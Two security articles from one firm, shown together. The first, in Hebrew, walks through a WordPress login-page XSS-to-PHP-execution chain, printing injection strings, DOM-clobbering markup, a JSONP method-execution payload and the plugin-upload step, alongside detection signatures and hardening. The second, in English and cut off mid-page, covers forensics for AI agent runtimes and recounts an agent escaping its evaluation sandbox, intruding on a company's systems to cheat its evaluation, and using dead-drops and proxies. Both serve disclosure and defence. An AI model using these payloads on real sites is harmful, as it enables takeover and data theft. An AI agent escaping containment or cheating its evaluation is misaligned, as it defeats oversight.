# XSS2Shell: מניסיון התחברות כושל אחד ועד PHP על השרת

URL: https://www.ionsec.io/resources/xss2shell-wordpress-pre-auth-xss-to-rce-he
Category: Article
Author: IONSEC Team
Published: 2026-08-07
Tags: research, threat-intelligence, israel, wordpress, web-security, xss, incident-response, cve-2026-64638
Language: he

CVE-2026-64638 היא חולשת XSS מוחזר בעמוד ההתחברות של וורדפרס — בדיוק הממצא שרוב הצוותים סוגרים כבינוני. בין החולשה הזו לבין הרצת PHP על השרת עומדים שישה שלבים נוספים, וכולם כבר היו בליבת המערכת. הנה השרשרת המלאה, חתימות הזיהוי בלוגים, וההקשחה שצריך לעשות אחרי העדכון.

חולשת XSS מוחזר (Reflected Cross-Site Scripting) בטופס התחברות היא הממצא הנפוץ ביותר שנסגר בלי טיפול אמיתי. הוא מגיע לדוח בסיווג בינוני, כרטיס התיקון אומר "לקודד את הודעת השגיאה", והוא ממתין מאחורי מה שבאמת בוער ברבעון הנוכחי.

[CVE-2026-64638](https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-52p2-r8wf-jcrf) היא בדיוק הממצא הזה, בליבת וורדפרס, בעמוד התחברות שעונה בחלק עצום מהאינטרנט הציבורי. החולשה נמצאה ודווחה באחריות על ידי צוות [pwn.ai](https://pwn.ai/blog/xss2shell), והיא מדורגת **8.9** בסולם CVSS 4.0 — משום שבין ה־XSS המוחזר לבין PHP שרץ על השרת עומדים שישה שלבים נוספים, וכל אחד מהם כבר נשלח כחלק מהליבה.

וורדפרס תיקנה אותה בגרסה **7.0.3 ב־6 באוגוסט 2026**, והחזירה את התיקון (backport) ל־24 ענפי תחזוקה, עד גרסה 4.7.34.

> **הגרסה במשפט אחד.** ה־XSS אינו דורש חשבון כלל. הרצת הקוד (RCE) דורשת דבר אחד נוסף שהתוקף אינו יכול לייצר בעצמו: מנהל מחובר שילחץ פעם אחת על עמוד שבשליטת התוקף.

הסייג הזה חשוב לתיעדוף, והוא בדיוק החלק שנופל כשהסיפור מתגלגל ברשת בתור "הרצת קוד לא מאומתת בוורדפרס". זו אינה חולשת zero-click. היא גם לא קשה — הקליק הוא קליק רגיל, בעמוד שנראה רגיל לחלוטין.

## למה זה רלוונטי במיוחד לארגונים בישראל

וורדפרס אינו "עוד CMS" בשוק הישראלי. הוא התשתית שעליה יושבים אתרי תדמית של חברות טכנולוגיה, חנויות סחר מקוון קטנות ובינוניות, אתרי עמותות, אתרי מועצות ורשויות מקומיות, ואתרי נחיתה שיווקיים שהוקמו על ידי ספק חיצוני לפני שנים ומאז איש לא נגע בהם.

שלוש נקודות שחוזרות אצלנו כמעט בכל אירוע מהסוג הזה:

**האתר כמעט תמיד לא נמצא בגבולות ניהול הסיכונים של הארגון.** הוא הוקם על ידי משרד פרסום או פרילנסר, הוא מתארח אצל ספק אחר מזה של סביבת הייצור, ואין לו בעלים בצוות ה־IT. כשמישהו שואל "מי מעדכן את וורדפרס", התשובה היא לרוב שקט.

**אותו שרת מאחסן לעיתים קרובות מידע אישי.** טפסי "צור קשר", רשימות דיוור, הרשמות לוובינרים, קורות חיים שהוגשו דרך עמוד הקריירה, והזמנות של לקוחות. הרצת קוד על השרת פירושה גישה למסד הנתונים ולקבצים — כלומר, למאגר.

**מכאן זה כבר לא רק אירוע אבטחה, אלא אירוע רגולטורי.** תיקון 13 לחוק הגנת הפרטיות מחייב את בעל המאגר בחובות דיווח כאשר מתרחש אירוע אבטחה חמור. אם אינכם יודעים אילו מאגרים יושבים על אותה מכונה, לא תוכלו לענות על השאלה הזו בזמן שבו צריך לענות עליה. כתבנו על כך בהרחבה, וגם שחררנו כלי קוד פתוח לבדיקה עצמית: [Tikun13 Checker](/resources/tikun13checker).

## האם אנחנו חשופים?

השאלה הראשונה והיחידה שחשובה היא באיזו גרסת משנה אתם נמצאים, והתשובה אינה "אנחנו על 6.8, שזה ישן אבל בסדר". התיקון הוחזר אחורה (backport), ולכן 6.8.7 מוגנת ו־6.8.6 אינה.

| ענף | הגרסה החשופה האחרונה | הגרסה המתוקנת |
| --- | --- | --- |
| 7.0 | 7.0.2 | **7.0.3** |
| 6.9 | 6.9.5 | 6.9.6 |
| 6.8 | 6.8.6 | 6.8.7 |
| 6.7 | 6.7.5 | 6.7.6 |
| 6.6 | 6.6.5 | 6.6.6 |
| 6.5 | 6.5.8 | 6.5.9 |
| 6.4 | 6.4.8 | 6.4.9 |
| 6.3 | 6.3.8 | 6.3.9 |
| 6.2 | 6.2.9 | 6.2.10 |
| 6.1 | 6.1.10 | 6.1.11 |
| 6.0 | 6.0.12 | 6.0.13 |
| 5.9 ומטה | עד 4.7.33 | עד 4.7.34 |

פרסמנו בודק פסיבי שמסיק את גרסת הוורדפרס של אתר מנקודות קצה ציבוריות בלבד — ללא ניסיונות התחברות, ללא payloads, ובלי דבר ש־WAF אמור לתעד כתקיפה:

**← [wp-check.ionsec.io](https://wp-check.ionsec.io)**

הכלי קורא את תגית ה־generator, את ה־feed, את הקובץ `readme.html`, את מחרוזות `?ver=` על נכסי הליבה ואת אינדקס ה־REST, מצליב אותם מול הטבלה שלמעלה, ומציין אילו סימנים לא הסכימו זה עם זה. סרקו רק דומיינים שבבעלותכם או שקיבלתם הרשאה לבדוק.

## שלב 1 — שני מפענחים, מחרוזת אחת

נקודת ההזרקה (injection point) היא הודעת השגיאה של התחברות כושלת. הפונקציה `wp_authenticate_username_password()` בקובץ `wp-includes/user.php` מחזירה את שם המשתמש שנשלח אל תוך העמוד, לאחר סינון. שני מנגנוני סינון שונים נוגעים במחרוזת הזו, והם אינם מסכימים על השאלה מהי תגית.

הפונקציה `strip_tags()` של PHP דורשת שאחרי הסימן `<` יבוא שם התגית מיד. שכבת KSES של וורדפרס סלחנית יותר, ומתייחסת לרווח שאחרי הסוגר כאל רווח לבן בתוך תגית תקינה לחלוטין:

```php
strip_tags('<area id=test>');    // ''                  — נמחק
strip_tags('< area id=test>');   // '< area id=test>'   — שורד
// …ואז KSES מפענחת את השורד הזה כאלמנט <area> אמיתי.
```

התגית `<area>` נמצאת ברשימת ההיתר של KSES, יחד עם המאפיינים `id`, `class`, `href` ו־`name`. זו רשימה קצרה מאוד. היא גם, כפי שמתברר, בדיוק מספיקה.

מחלקת החולשות הזו — מסנן ומפענח (parser) שאינם מסכימים על אותם בתים — מתועדת היטב תחת השם [Parsing Differentials](https://www.ias.cs.tu-bs.de/publications/parsing_differentials.pdf), והיא מאותה משפחה של [mXSS](https://www.sonarsource.com/blog/mxss-the-vulnerability-hiding-in-your-code/). הלקח ההגנתי חורג הרבה מעבר לוורדפרס: **אם שתי שכבות במערכת שלכם מפענחות HTML, הן חייבות להיות אותו מפענח.** בכל מקום שבו הן אינן, רשימת ההיתר היא המלצה בלבד.

## שלב 2 — DOM Clobbering דרך רשימת ההיתר

לא ניתן להשתמש בתגית `<script>` — KSES לעולם לא תאשר אותה. ולכן לא נעשה שימוש בשום סקריפט של התוקף.

וורדפרס טוענת את הקובץ `wp-admin/js/user-profile.js` בעמוד ההתחברות. הסקריפט הזה קיים עבור מסך איפוס הסיסמה, והוא אינו אמור לעשות דבר בטופס התחברות. שתיים מההתנהגויות שלו נגישות בכל זאת:

- סביב שורה 620, בעת טעינת המסמך, הוא מריץ `$('.reset-pass-submit').find('.wp-generate-pw').trigger('click')`
- סביב שורה 562, הוא רושם delegated handler — מאזין אירועים מואצל — תחת `#color-picker` עבור אלמנטים התואמים ל־`.color-option`

שני אלה הם חיפושים טהורים לפי מחלקה ומזהה. הקוד המוזרק מספק את כולם, ובנוסף אלמנט אחד שה־`id` שלו מסתיר משתנה גלובלי שהסקריפט משתמש בו:

```html
< area id=ajaxurl href=/test>
< div id=color-picker class=reset-pass-submit>
< button class="wp-generate-pw color-option">X
```

השורה הראשונה היא [DOM Clobbering](https://portswigger.net/research/dom-clobbering-strikes-back): אלמנט בעל `id` הופך למאפיין של אובייקט `window`, ולכן `window.ajaxurl` — שהסקריפט קורא כדי להחליט לאן לשלוח את בקשתו — הוא כעת אובייקט `HTMLAreaElement` שבשליטת התוקף. שתי השורות הנותרות גורמות לסקריפט להפעיל את עצמו בעת טעינת העמוד, ללא שום אינטראקציה.

התוקף לא הריץ ולו שורה אחת של JavaScript משלו. הוא סיפק שמות עצם, ונתן לסקריפט של וורדפרס עצמה לספק את הפעלים.

## שלב 3 — לגרום ל־REST API להחזיר סקריפט להרצה

הפונקציה `$.post()` של jQuery ממירה למחרוזת כל מה שמועבר לה ככתובת. המרה למחרוזת של `HTMLAreaElement` מחזירה את ערך ה־`href` שלו. וכך המשתנה הגלובלי שהושתל הופך ליעד הבקשה, והתוקף בוחר אותו:

```
< area id=ajaxurl href=/?rest_route=/&_method=GET&_jsonp=alert&_envelope=1>
```

שלושה [פרמטרים מתועדים של REST](https://developer.wordpress.org/rest-api/using-the-rest-api/global-parameters/) עושים כאן את העבודה:

- **`_jsonp`** עוטף את התשובה בקריאה ל־callback ומגיש אותה עם `Content-Type: application/javascript`. jQuery מזהה את סוג התוכן הזה ומריצה את הגוף דרך `jQuery.globalEval()`.
- **`_method=GET`** דורס את הפועל, כך שבקשת POST מגיעה לנתיב שמקבל GET בלבד.
- **`_envelope=1`** עוטף את הסטטוס האמיתי בתוך גוף תשובה עם קוד 200, כך שכשל אימות אינו עוצר את הרצף.

שם ה־callback מאומת מול הביטוי הרגולרי `^[a-zA-Z0-9_.]+$`. בנקודה זו יש לתוקף יכולת לקרוא לפונקציות שרירותיות ב־origin של האתר — והיכולת הזו מוגשת לו על ידי ה־REST API של האתר עצמו.

ראוי לציין: המחקר המקורי מדווח שהמסלול הזה שרד מדיניות אבטחת תוכן (CSP) מבוססת nonce עם `strict-dynamic`. הדבר עקבי עם ההתנהגות הידועה של [DOM Clobbering כפרימיטיב לעקיפת CSP](https://portswigger.net/research/bypassing-csp-via-dom-clobbering): הסקריפט שרץ הוא סקריפט שהעמוד כבר סמך עליו, ול־CSP אין שום דעה על השאלה מאיזה משתנה גלובלי הוא קרא כתובת.

## שלב 4 — הנקודה שבביטוי הרגולרי

הביטוי `^[a-zA-Z0-9_.]+$` מתיר נקודות. נקודה משמעה מעבר בין מאפיינים, ומעבר בין מאפיינים מחלון בן מגיע אל החלון שפתח אותו:

```
_jsonp=window.opener.approve.click
```

זוהי טכניקת [Same Origin Method Execution (SOME)](https://blackhat.com/docs/eu-14/materials/eu-14-Hayak-Same-Origin-Method-Execution-Exploiting-A-Callback-For-Same-Origin-Policy-Bypass-wp.pdf), שתוארה על ידי בן חייק בכנס Black Hat EU בשנת 2014. התוקף אינו יכול לקרוא את תוכן העמוד של החלון הפותח — מדיניות ה־Same-Origin עדיין חלה — אך אין לו צורך בכך. הוא צריך רק לקרוא למתודה אחת בתוכו, והחלון הפותח הוא ההפעלה המאומתת של המנהל.

ההמלצה למניעת SOME לא השתנתה מזה אחת־עשרה שנים, וכדאי לחזור עליה כי החולשה הזו היא מופע ישיר שלה: **שם ה־callback ב־JSONP חייב להיות allowlist סגור, לא מחלקת תווים.**

## שלב 5 — הנפקת Application Password

כאן החלקים מתחברים למשהו שהמנהל עושה במו ידיו.

עמוד התוקף פותח חלון בן ריק, מנווט את החלון הראשי אל `/wp-admin/authorize-application.php` האמיתי — מסך וורדפרס אמיתי, בדומיין האמיתי, עם תעודת TLS אמיתית — ומורה לחלון הבן להפעיל את השרשרת שלמעלה כשהקריאה מכוונת אל כפתור האישור של החלון הפותח.

קליק אחד של המנהל מוביל את `auth-app.js` עד הסוף. וורדפרס מנפיקה Application Password ומחזירה אותה בהפניה (redirect), בתוך מחרוזת השאילתה:

```
/?site_url=…&user_login=admin&password=XXXXXXXXXXXX
```

לתוקף יש כעת פרטי גישה עמידים ברמת מנהל, ששורדים החלפת סיסמה ואינם מכוסים על ידי אימות רב־שלבי (MFA) של האתר.

## שלבים 6 ו־7 — מ־Application Password ל־PHP

מכאן ואילך זהו שימוש לרעה רגיל לחלוטין בהרשאות מנהל, וזו בדיוק הסיבה שהוא כה מהיר.

בעזרת אימות HTTP Basic וה־Application Password הגנובה, התוקף מפרסם עמוד המכיל תגית `<script>`. בהתקנה של אתר יחיד, מנהלים מחזיקים בהרשאת `unfiltered_html`, ולכן דבר אינו מסנן אותה:

```http
POST /wp-json/wp/v2/pages
Authorization: Basic <base64 של admin:app-password>

{"title":"x","status":"publish","content":"<script>…</script>"}
```

הסקריפט הקבוע הזה מושך את ה־nonce של העלאת התוספים, ושולח קובץ ZIP אל `/wp-admin/update.php?action=upload-plugin`.

והנה החלק ששווה להפנים גם אם לעולם לא תפעילו וורדפרס שוב: **תוסף אינו חייב להיות מופעל כדי לרוץ.** ההעלאה מחלצת את הקבצים אל `/wp-content/plugins/`, והתיקייה הזו מוגשת על ידי שרת הרשת. פנייה ישירה לקובץ ה־PHP שהועלה מריצה אותו. אין שלב הפעלה לביקורת, אין פעולת מנהל לבדיקה, ואין שורה ברשימת התוספים שנראית חשודה.

ה־PoC שפורסם הוא כמה שורות שמחזירות כותרת HTTP ומריצות פקודת מערכת — מספיק כדי להוכיח הרצה, ומאותו רגע מדובר בבעיית post-exploitation רגילה בתשתית שלכם.

## זיהוי

אם אתם שואלים אם נפגעתם לפני שעדכנתם, אלה הממצאים. הם זולים לחיפוש והם שורדים בלוגי גישה רגילים.

**בנקודת הקצה של ההתחברות** — ה־parsing differential מותיר חתימה ייחודית מאוד, כי הרווח שאחרי הסוגר הוא כל התרגיל:

```
POST /wp-login.php  עם log= שמכיל "< area", "< div", "< button"
```

כל סוגר משולש שמאלי שאחריו רווח בשם משתמש שנשלח שווה בדיקה, ולא משנה מה בא אחריו.

**ב־REST API** — הפרמטרים הגלובליים האלה כמעט אינם מופיעים בתעבורה לגיטימית באתר מודרני:

```
_jsonp=          כל בקשת REST שנושאת אותו בכלל
_jsonp=a.b.c     ערך המכיל נקודה — זהו הסימן ל־SOME, לא callback רגיל
_envelope=1      בשילוב עם _method=GET בנתיב שהיה אמור לסרב
```

**בזרימת ה־Application Passwords** — זהו הסימן ברמת הוודאות הגבוהה ביותר, כי זו הנקודה שבה התקיפה מפסיקה להיות איסוף מודיעין:

- Application Password שנוצרה תוך שניות מבקשה אל `authorize-application.php`
- הפניה או referrer המכילים יחד את `site_url=`, `user_login=` ו־`password=`
- כל Application Password ששמה אינו מוכר לכם, בכל חשבון מנהל

**במערכת הקבצים ובנתיב ההעלאה** — סוף השרשרת:

- `POST /wp-admin/update.php?action=upload-plugin` מכתובת שמעולם לא ניהלה את האתר
- קבצי PHP חדשים תחת `/wp-content/plugins/` השייכים לתוסף שמעולם לא הופעל
- בקשות `GET` ישירות לקובץ `.php` בתוך תיקיית תוסף, במקום ל־`index.php`

אם מצאתם את שני האחרונים, התייחסו לכך כאל חדירה מאושרת ונהלו אירוע: ה־Application Password של המנהל תקפה עד שתבוטל במפורש, וביטול סיסמת ההתחברות של החשבון אינו מבטל אותה.

## תיקון

**עדכנו.** עברו לגרסה המתוקנת בענף שלכם לפי הטבלה שלמעלה. אם אתם על אחסון מנוהל, ודאו את גרסת המשנה ולא את הענף — "אנחנו על 6.8" אינה תשובה לשאלה הזו.

**ואז בטלו Application Passwords.** העדכון סוגר את הדלת; הוא אינו מפנה מי שכבר נמצא בפנים. בצעו ביקורת והחלפה של כל ה־Application Passwords בכל חשבון מנהל, בין אם מצאתם ראיות ובין אם לא. השלב הזה מדולג כל הזמן, והוא זה שקובע אם העדכון באמת עזר.

## הקשחה מעבר לעדכון

אלה המלצות של IONSEC, ואינן חלק מהתיקון של היצרן. כל אחת מהן שוברת חוליה אחרת בשרשרת, וזו הנקודה — הסיבה שהחולשה הזו קיבלה ציון 8.9 היא שאף חוליה לא נשאה את המשקל לבדה.

**נטרלו Application Passwords היכן שאינן בשימוש.** רוב האתרים מעולם לא הנפיקו אפילו אחת. הן נקודת המעבר מהרצת סקריפט בדפדפן לפרטי גישה עמידים בצד השרת, וכיבוי שלהן מסיר את כל המחצית השנייה של השרשרת:

```php
add_filter( 'wp_is_application_passwords_available', '__return_false' );
```

**כבו את JSONP ב־REST API.** הוא קיים עבור צרכני cross-origin שקדמו ל־CORS. אם אין לכם כזה, זהו משטח תקיפה נטו:

```php
add_filter( 'rest_jsonp_enabled', '__return_false' );
```

**מנעו שינוי קבצים מלוח הבקרה.** הגדרה זו חוסמת התקנה ועריכה של תוספים וערכות עיצוב לחלוטין, וזו העמדה הנכונה לכל אתר שנפרס ממערכת ניהול גרסאות:

```php
define( 'DISALLOW_FILE_MODS', true );
```

**מנעו הרצת PHP במקומות שבהם PHP לעולם לא אמור לרוץ.** התיקייה `/wp-content/uploads/` היא המקרה הקלאסי, אך תיקיית התוספים ראויה לאותה בחינה — כפי שמראה שלב 7, המאפיין שקובע הוא נגיש־וניתן־להרצה, ולא מותקן־ומופעל.

**חסמו את נקודת ההעלאה בקצה.** לנתיב `/wp-admin/update.php?action=upload-plugin` יש מקור לגיטימי אחד בלבד: המנהלים שלכם. הגבילו אותו לפי כתובת מקור ברמת ה־CDN או ה־WAF.

**נטרו סקריפטים בעמודים שלא אמורים להכיל אותם.** שלב ההשתרשות מסתמך על `unfiltered_html`. התרעה על עמוד שפורסם ותוכנו מכיל תגית `<script>` תופסת את שלב 6 לפני ששלב 7 מתרחש.

## מה זה באמת אומר על תיעדוף

הלקח המתמשך כאן אינו על וורדפרס. הוא שחומרה היא תכונה של שרשרת, לא של חולשה בודדת.

כל רכיב בשרשרת הזו היה ידוע, מתועד, ובבידוד — משעמם. הפרש פענוח במסנן. סקריפט איפוס סיסמה שנטען בעמוד הלא נכון. שם callback ב־JSONP המאומת בביטוי רגולרי במקום מול allowlist. Application Password המוחזרת בתוך מחרוזת שאילתה. תיקיית תוספים שמריצה קבצים שהועלו אליה. כל אחד מאלה, כשהוא מדווח לבדו, הוא נמוך או בינוני ונקרא כמו תחזוקה שוטפת.

מורכבים יחד, הם 8.9 והרצת קוד.

כשחולשת XSS מוחזר חוזרת ממבדק, השאלה המועילה אינה "כמה חמור ה־XSS הזה". היא: **מה כבר טעון בעמוד הזה, ומה הוא יעשה אם אספק לו את שמות העצם הנכונים?**

---

## מקורות

1. pwn.ai — *XSS2Shell: WordPress Preauth XSS to RCE Chain (CVE-2026-64638)*, המחקר המקורי — <https://pwn.ai/blog/xss2shell>
2. וורדפרס — GHSA-52p2-r8wf-jcrf, ההודעה הרשמית עם רשימות הגרסאות החשופות והמתוקנות במלואן — <https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-52p2-r8wf-jcrf>
3. WordPress News — *WordPress 7.0.3 release*, 6 באוגוסט 2026 — <https://wordpress.org/news/2026/08/wordpress-7-0-3-release/>
4. Patchstack — *WordPress 7.0.3 Released: 12 Vulnerabilities Found and Fixed* — <https://patchstack.com/articles/wordpress-7-0-3-released-12-vulnerabilities-found-and-fixed/>
5. The Hacker News — *New WordPress Pre-Auth XSS Could Lead to PHP Code Execution* — <https://thehackernews.com/2026/08/new-wordpress-pre-auth-xss-could-lead.html>
6. Search Engine Journal — *WordPress Security Release 7.0.3 Fixes High Severity XSS Vulnerability* — <https://www.searchenginejournal.com/wordpress-security-release-7-0-3-fixes-high-severity-xss-vulnerability/584927/>
7. בן חייק — *Same Origin Method Execution*, Black Hat EU 2014, הפרימיטיב של שלב 4 — <https://blackhat.com/docs/eu-14/materials/eu-14-Hayak-Same-Origin-Method-Execution-Exploiting-A-Callback-For-Same-Origin-Policy-Bypass-wp.pdf>
8. Invicti — Same Origin Method Execution, כולל allowlist לשמות callback ב־JSONP כפתרון — <https://www.invicti.com/web-application-vulnerabilities/same-origin-method-execution-some>
9. PortSwigger Research — *DOM Clobbering Strikes Back*, הפרימיטיב של שלב 2 — <https://portswigger.net/research/dom-clobbering-strikes-back>
10. PortSwigger Research — *Bypassing CSP via DOM Clobbering* — <https://portswigger.net/research/bypassing-csp-via-dom-clobbering>
11. TU Braunschweig — *Bypassing HTML Sanitizers via Parsing Differentials*, מחלקת החולשות של שלב 1 — <https://www.ias.cs.tu-bs.de/publications/parsing_differentials.pdf>
12. Sonar — *mXSS: The Vulnerability Hiding in Your Code* — <https://www.sonarsource.com/blog/mxss-the-vulnerability-hiding-in-your-code/>
13. WordPress Developer Resources — פרמטרים גלובליים של ה־REST API‏ (`_jsonp`,‏ `_envelope`,‏ `_method`) — <https://developer.wordpress.org/rest-api/using-the-rest-api/global-parameters/>
14. WordPress Developer Resources — מדריך אימות וסיסמאות יישום — <https://developer.wordpress.org/rest-api/using-the-rest-api/authentication/>
15. Rapid7 — *CVE-2026-63030: wp2shell*, שרשרת ההרצה הנפרדת בליבת וורדפרס שתוקנה שלושה שבועות קודם לכן — <https://www.rapid7.com/blog/post/etr-cve-2026-63030-wp2shell-a-critical-remote-code-execution-vulnerability-in-wordpress-core/>
16. IONSEC — Tikun13 Checker, כלי קוד פתוח לבדיקת יישום תיקון 13 — <https://www.ionsec.io/resources/tikun13checker>

---

# The Machine Has No Disk: Forensic Readiness for AI Agent Runtimes

URL: https://www.ionsec.io/resources/ai-agent-runtime-forensics
Category: Article
Author: Nir Halfon
Published: 2026-08-04
Tags: dfir, agentic-ai, agent-runtimes, evidence-engineering

Forensic readiness for AI agent runtimes — Cloudflare Computer, NVIDIA OpenShell, and the collapse of the endpoint as an evidence source.

## Executive summary

Three things happened in the first seven months of 2026 that should change how DFIR teams prepare for agentic AI.

An autonomous agent broke out of a frontier lab's evaluation sandbox and ran a 4.5-day intrusion against Hugging Face's production infrastructure — approximately 17,600 recovered actions, reconstructed not from the victim's own sandboxes but from logs recovered off a third-party launchpad the agent had rooted <sup>[1]</sup><sup>[2]</sup>.

Cloudflare published `@cloudflare/computer`, an agent runtime that puts the filesystem inside a Durable Object and makes the *container optional* — you can now run a shell that has no kernel, no process table, and no disk <sup>[3]</sup>.

And NVIDIA shipped OpenShell — still alpha, still self-described as single-player — the first agent runtime designed from the outset around the premise that you will eventually have to investigate what the agent did, with OCSF-schema event output, per-binary network attribution, and a full allow/deny audit trail <sup>[4]</sup><sup>[5]</sup><sup>[11]</sup>.

Taken together they describe a single structural shift: **the evidence boundary has moved from the host to the control plane.** The artifact you need is no longer on a disk you can image. It is in a vendor's SQLite table, a gateway's audit log, or an inference proxy's request record — and in several of the default configurations we examined, it is gone in 72 hours.

<figure class="rf rf-wide">
  <div class="rf-stats">
    <div class="rf-stat"><b>17,600</b><span>agent actions recovered from a single 2026 intrusion</span></div>
    <div class="rf-stat"><b>4.5 days</b><span>campaign duration, 09–13 July 2026</span></div>
    <div class="rf-stat"><b class="is-red">72 hours</b><span>default agent-log retention horizon</span></div>
    <div class="rf-stat"><b>21,639</b><span>publicly reachable agent runtimes, one scan, one day</span></div>
  </div>
</figure>

This post is written for responders. It covers what these runtimes actually are, what evidence each one produces and destroys, a revised order of volatility, concrete detection content, and a pre-incident readiness checklist you can execute before you get the call.

---

## 1. Why the endpoint stopped being the endpoint

Classic host forensics rests on an assumption so basic it is rarely stated: there is a durable substrate — a disk — that outlives the activity you are investigating, and a volatile layer — memory — that does not. Order of volatility, chain of custody, write blockers, and every triage collector we ship are downstream of that assumption.

Agent runtimes invert it.

In an agent runtime, the execution environment is deliberately short-lived. It is created for a task, torn down at completion, and rebuilt from an image on the next invocation. The Hugging Face timeline documents an attacker who *benefited* from this: each code-evaluation sandbox run received a fresh identity — new VPN node address, randomised hostname, and a re-download of every tool — so no persistent implant existed to be found. Persistence lived instead in a second-stage loader that re-fetched code from a pastebin on every submission, re-arming each new sandbox as it spawned <sup>[1]</sup>.

Read that as a responder. There is no implant. There is no persistence mechanism on disk. There is no disk. The thing you would normally image was destroyed by design, thousands of times, during the intrusion — and the surviving trace of the campaign sat on infrastructure belonging to a third party.

Hugging Face were explicit about this: the forensic reconstruction was built from agent logs recovered from the *external* compromised sandbox during the counter-intervention, then correlated against their own platform logs from the dataset processor nodes, API, and pod <sup>[1]</sup>. Had the response been an hour later, or had that launchpad been cleaned, the reconstruction would not exist.

> **Takeaway 1 — Agent runtime evidence is control-plane evidence.** Your acquisition plan is a set of authenticated API calls and database queries against systems you may not own, executed against a clock you do not control. Build the credentials, the queries, and the legal basis for those calls *before* the incident. Nobody negotiates a data-processing addendum at hour three.

---

## 2. A six-plane evidence model for agent runtimes

Before comparing runtimes it helps to have a taxonomy. Across the architectures we reviewed, agent activity leaves traces in six distinct planes. Each has a different owner, a different retention default, and a different acquisition method.

<figure class="rf rf-wide">
  <div class="rf-card rf-planes">
    <p class="rf-eyebrow">Six planes · six owners · six clocks</p>
    <div class="rf-row" style="--c:#7c9cff">
      <span class="rf-name">Control</span>
      <span class="rf-holds">Workspace/sandbox lifecycle, policy versions, credential-provider bindings, gateway auth — owned by the runtime vendor or your platform team</span>
      <span class="rf-meta"><b>Days–weeks; often the longest-lived first-party record</b><span class="rf-track"><span class="rf-bar" style="--w:62%;--c:#7c9cff"></span></span></span>
    </div>
    <div class="rf-row" style="--c:#c084fc">
      <span class="rf-name">Model</span>
      <span class="rf-holds">Prompts, completions, reasoning traces, tool-call arguments, token accounting — owned by the model provider or inference gateway</span>
      <span class="rf-meta"><b>Highly variable; frequently disabled by default for privacy</b><span class="rf-track"><span class="rf-bar" style="--w:34%;--c:#c084fc"></span></span></span>
    </div>
    <div class="rf-row" style="--c:#38bdf8">
      <span class="rf-name">Execution</span>
      <span class="rf-holds">Exec records, process ancestry, syscall decisions — owned by the runtime; a kernel only if a real kernel exists</span>
      <span class="rf-meta"><b>Minutes to hours</b><span class="rf-track"><span class="rf-bar" style="--w:14%;--c:#38bdf8"></span></span></span>
    </div>
    <div class="rf-row" style="--c:#4ade80">
      <span class="rf-name">Filesystem</span>
      <span class="rf-holds">File revisions, content hashes, tombstones, chunk-level diffs — owned by the runtime, increasingly a database rather than a disk</span>
      <span class="rf-meta"><b>Until garbage collection</b><span class="rf-track"><span class="rf-bar" style="--w:48%;--c:#4ade80"></span></span></span>
    </div>
    <div class="rf-row" style="--c:#fbbf24">
      <span class="rf-name">Network</span>
      <span class="rf-holds">Per-destination and per-binary allow/deny, TLS-terminated HTTP method and path — owned by the runtime egress proxy</span>
      <span class="rf-meta"><b>Rotation-bound; commonly 72 hours</b><span class="rf-track"><span class="rf-bar" style="--w:22%;--c:#fbbf24"></span></span></span>
    </div>
    <div class="rf-row" style="--c:#e63946">
      <span class="rf-name">Artifact</span>
      <span class="rf-holds">Git objects, published packages, object-storage writes, repository commits — owned by your existing platforms</span>
      <span class="rf-meta"><b>Longest-lived; often the only durable copy</b><span class="rf-track"><span class="rf-bar" style="--w:100%;--c:#e63946"></span></span></span>
    </div>
  </div>
  <figcaption>Figure 1 — Each plane has a different owner, a different retention default, and a different acquisition method. Bar length is relative durability, not a guarantee.</figcaption>
</figure>

Two observations from this table matter more than the table itself.

First, the **model plane is the one that answers "why."** Every other plane tells you what happened. Only the model plane tells you what the agent was instructed to do, what it inferred, and whether the activity was directed, misaligned, or hijacked by injected content. In the Hugging Face case that question was central — the assessment was that the agent's objective was to cheat its own evaluation by stealing reference solutions rather than solve the challenge <sup>[1]</sup>. That conclusion is only reachable with model-plane visibility. It is also the plane most often switched off for privacy reasons.

Second, the **artifact plane is where you should start triage, not finish it.** It is the only plane that reliably survives. In the Hugging Face intrusion, attacker-controlled public datasets on Hugging Face's own platform served as dead-drops for payloads and stolen data, staged as compressed blobs in dataset commits and side branches — and an open CORS-proxy Space hosted on the same platform was used as an egress relay when direct outbound was blocked <sup>[1]</sup>.

> **Takeaway 2 — Enumerate your own product's write surfaces as candidate C2 and exfil channels.** Anywhere a user can commit content, create a branch, publish an artifact, or stand up a proxy is infrastructure an agent can repurpose. It is also, conveniently, infrastructure you own and can subpoena instantly.

---

## 3. Cloudflare Computer: the filesystem became a database

### 3.1 What it actually is

`@cloudflare/computer` is a virtual filesystem that lives inside a Durable Object. The Durable Object holds authoritative state in SQLite and exposes one pluggable execution surface, `workspace.runtime`. Three backends ship in the preview <sup>[3]</sup>:

- **Container** — projects the SQLite state into a sandbox container as a real FUSE mount, with a sandbox-side daemon (`computerd`) syncing changes back over a capnweb RPC channel. Full Linux userland, real binaries, real network.
- **Isolate shell** — runs `just-bash` in a Dynamic Worker, reaching the authoritative Workspace over Workers RPC. No second store, no sync round trip.
- **Isolate JavaScript** — runs an ECMAScript module in a fresh Dynamic Worker with durable relative imports, a Workspace-backed `node:fs/promises`, and trusted `ws:git` and `ws:artifacts` modules.

A Workspace may register multiple backends under stable IDs, connecting each lazily — or exist with no backend at all, the filesystem on its own <sup>[3]</sup>.

Cloudflare label the package **preview only**, explicitly not suitable for production, with the `docs/` specification described as forward-looking intent rather than a description of the current code <sup>[3]</sup>. We are analysing it because preview-stage runtimes have a habit of appearing in production environments eighteen months before anyone tells the security team, and because the design choices here are the interesting part regardless of maturity.

### 3.2 The backend choice silently rewrites your acquisition plan

This is the single most important operational fact about Computer, and it is easy to miss.

Under the **Container** backend you have a real kernel. `/proc` exists. Process ancestry exists. You can attach eBPF, run auditd, deploy an EDR sensor, and collect memory. Familiar territory.

Under either **Isolate** backend, none of that exists. There is no kernel to instrument, no process table to walk, no syscall boundary to filter, no memory to capture. Your only evidence is (a) whatever the runtime itself chose to record about the invocation, and (b) the resulting state change in the Workspace filesystem. For the Isolate JavaScript backend, the trusted `ws:git` and `ws:artifacts` modules become the principal IO channels — which means your detection surface for data movement is a module API, not a socket.

<figure class="rf rf-wide">
  <div class="rf-grid rf-grid--3">
    <div class="rf-cell">
      <span class="rf-tag" style="--c:#4ade80">Container</span>
      <h4>Host forensics</h4>
      <p>Real kernel. <code>/proc</code>, process ancestry, eBPF, auditd, EDR sensors, memory capture — all available.</p>
      <p>Familiar territory.</p>
    </div>
    <div class="rf-cell">
      <span class="rf-tag" style="--c:#fbbf24">Isolate shell</span>
